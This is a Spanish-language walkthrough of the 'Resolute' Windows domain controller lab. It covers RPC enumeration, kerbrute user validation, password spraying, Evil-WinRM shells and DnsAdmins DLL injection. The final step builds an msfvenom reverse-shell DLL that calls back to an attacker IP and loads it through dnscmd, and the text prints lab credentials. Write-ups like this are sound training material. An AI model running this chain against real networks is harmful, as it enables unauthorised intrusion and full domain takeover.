Resolute
Máquina Windows de categoría media con los siguientes temas:
- Enumeración RPC
- Validación de usuarios con Kerbrute
- Password spraying con Crackmapexec
- Information Leakage
- Shell via Evil-WinRM
- Inyección DLL
Enumeración
Escaneo de puertos y servicios con Nmap
Empleando el comando nmap -p- --open 10.10.10.169 podemos escanear todo el rango de puertos existentes y que solo nos reporte los puertos abiertos de la máquina.
Agregando las flags -sC y -sV a los puertos descubiertos, podemos lanzar una serie de scripts básicos de reconocimiento para ver los servicios que corren para esta máquina y sus respectivas versiones.
1
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49684,49716 -sC -sV -oN target.txt 10.10.10.169
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Nmap scan report for 10.10.10.169
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-12 02:58:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49684/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: 2023-07-11T19:58:55-07:00
|_clock-skew: mean: 2h26m59s, deviation: 4h02m30s, median: 6m58s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-time:
| date: 2023-07-12T02:59:00
|_ start_date: 2023-07-12T02:54:08
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
Gracias a que vemos los servicios de DNS, Kerberos, SMB y LDAP expuestos, podemos deducir que nos encontramos ante un DC (Domain Controller).
Con el comando
crackmapexec smb 10.10.10.169podemos ver información relevante del DC.
- OS: Windows Server 2016 x64
- Nombre: RESOLUTE
- Dominio: megabank.local
Debido a que nos encontramos ante una máquina de Directorio Activo debemos agregar el dominio (megabank.local) al archivo /etc/hosts de nuestra máquina de atacante.
Podemos intentar conectarnos al servicio SMB de Windows empleando un “null session” debido a que no tenemos credenciales válidas.
1
smbmap -H 10.10.10.169 -u 'null'
Pero vemos que nos da un error de autenticación asi que de momento vamos a enumerar otro servicio.
Enumeración RPC
Como no tenemos credenciales válidas podemos intentar enumerar el servicio RPC empleando un “null session” al igual que con el servicio SMB. Para esto podemos emplear la herramienta rpcclient agregando las flags -U y -N.
1
rpcclient -U '' 10.10.10.169 -N
Y vemos que podemos ingresar sin proporcionar credenciales!
Ahora podemos enumerar información relevante del Dominio mediante RPC.
Usuarios del Dominio
1
enumdomusers
Grupos del Dominio
1
enumdomgroups
Otro comando que podemos utilizar para enumerar el Dominio mediante RPC, es
querydispinfoque nos mostrará las descripciones de todos los usuarios del Dominio.
Descripciones de Usuarios
1
querydispinfo
Y vemos que en la descripción del usuario marko dice:
Cuenta creada. Contraseña configurada como Welcome123!
Se ve que la contraseña por defecto al momento de crear una cuenta nueva es Welcome123!
Asi que ya tenemos un listado de usuarios del Dominio y una contraseña por defecto, pero pueden haber cuentas de usuario que esten inactivas o deshabilitadas. Como vemos el servicio Kerberos expuesto, podemos validar los usuarios encontrados mediante el uso de Kerberos con la herramienta kerbrute.
Validación de usuario con Kerbrute
Gracias a esta herramienta podemos emplear “brute-forcing” y enumerar cuentas válidas del Directorio Activo mediante la Pre-Autenticación de Kerberos.
Con el argumento userenum podemos validar los usuarios que encontramos via RPC. Con las flags --dc se indica la IP del Controlador de Dominio (DC) y con -d se especifica el nombre del Dominio.
1
kerbrute userenum --dc 10.10.10.169 -d megabank.local users.txt
Vemos que tenemos 24 usuarios válidos del Dominio!
Si intentamos acceder como el usuario marko y la contraseña por defecto ‘Welcome123!’ vemos que la contraseña es incorrecta, por lo que podemos deducir que marko cambió su contraseña a tiempo.
¿Pero que pasaría si otro usuario no cambió su contraseña por defecto?
Password Spraying con Crackmapexec
Un “Password Spraying Attack” consiste en intentar una contraseña por defecto o un listado de contraseñas comúnes en varias cuentas de usuarios.
Empleando la herramienta crackmapexec podemos ver si algún usuario sigue teniendo la contraseña por defecto Welcome123!.
1
crackmapexec smb 10.10.10.169 -u users.txt -p 'Welcome123!'
Y podemos ver que el usuario melanie no ha cambiado su contraseña!, asi que ya tenemos credenciales válidas dentro del Directorio Activo.
- Usuario: melanie
- Contraseña: Welcome123!
Acceso como el usuario melanie
Empleando la misma herramienta podemos validar si el usuario melanie forma parte del grupo “Remote Management Users”, porque de ser así, podriamos conectarnos a la máquina victima mediante evil-winrm.
1
crackmapexec winrm 10.10.10.169 -u 'melanie' -p 'Welcome123!'
Y vemos que nos reporta un (Pwn3d!), esto quiere decir que el usuario forma parte del grupo de Administración remota de Windows y podemos obtener una consola interactiva.
Shell via Evil-WinRM
1
evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'
Ahora tenemos acceso al DC como el usuario melanie y podemos visualizar la flag user.txt
Escalada de Privilegios
Una vez dentro del DC podemos irnos al directorio Users y ver los usuarios locales existentes. 
Vemos que hay cuatro usuarios locales:
- Administrator
- melanie
- public
- ryan
Convertirse en el usuario ryan
Enumerando directorios nos encontramos con una carpeta llamada “PSTranscripts” en la cual se encuentra un archivo txt de un script en PowerShell.

Si vemos el archivo vemos que se trata de una instrucción automatizada en PowerShell que se conecta una directorio compartido de red (SMB) ”\\fs01\backups” y que emplea credenciales en texto claro! 
- Usuario: ryan
- Contraseña: Serv3r4Admin4cc123!
Como ryan forma parte del grupo “Remote Management Users” podemos obtener una consola interactiva con evil-winrm.
1
evil-winrm -i 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'
Ahora podemos ver si el usuario ryan cuenta con mayores privilegios que melanie.
En el escritorio podemos encontrar una nota que dice:
- Debido a la pausa administrativa, cualquier cambio en el sistema (excepto los de la cuenta Administrator) se revertirán automáticamente en 1 minuto.”
Así que cualquier cambio que hagamos en el sistema se eliminará cada 1 minuto.
Inyección DLL
Realizando un whoami /all podemos ver que el usuario ryan se encuentra dentro del grupo local Contractors y que este a su vez se encuentra dentro de DnsAdmins, convirtiendo a ryan en miembro de DnsAdmins.

El ataque se basa en una inyección DLL en el servicio dns que se ejecuta como SYSTEM en el servidor DNS, el cual, la mayoría de las veces se encuentra en el Domain Controller.
Para que el ataque funcione, necesitamos haber comprometido a un usuario que pertenezca al grupo DnsAdmins.
Para esto podemos generar un archivo DLL malicioso que entable una Reverse Shell hacia nuestro equipo de atacante por un puerto dado y almacenarlo como “privesc.dll”.
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=443 -f dll -o privesc.dll
Para poder hostear nuestro payload podemos crear una carpeta compartida a nivel de red (SMB) llamada “smbFolder” con:
1
impacket-smbserver smbFolder . -smb2support
De esta manera desde la máquina victima configurar el servidor DNS para que cargue nuestro DLL malicioso empleando el comando:
1
dnscmd.exe /config /serverlevelplugindll \\10.10.14.17\smbFolder\privesc.dll
Obtenemos el mensaje:
- Propiedad de registro serverlevelplygindll restablecida correctamente.
- Comando completado con éxito.
Una vez configurada la instrucción para que cargue nuestro DLL malicioso de nuestra carpeta SMB “smbFolder”, solo queda ponerse en escucha con Netcat en el puerto que especificamos en el payload creado y reiniciar el servicio DNS con:
1
2
sc.exe stop dns
sc.exe start dns
De esta manera al reiniciar el servicio DNS se va a cargar nuestra DLL maliciosa otorgandonos una Reverse Shell como el usuario nt authority\system, dandonos privilegios máximos sobre el dominio.
pwned!









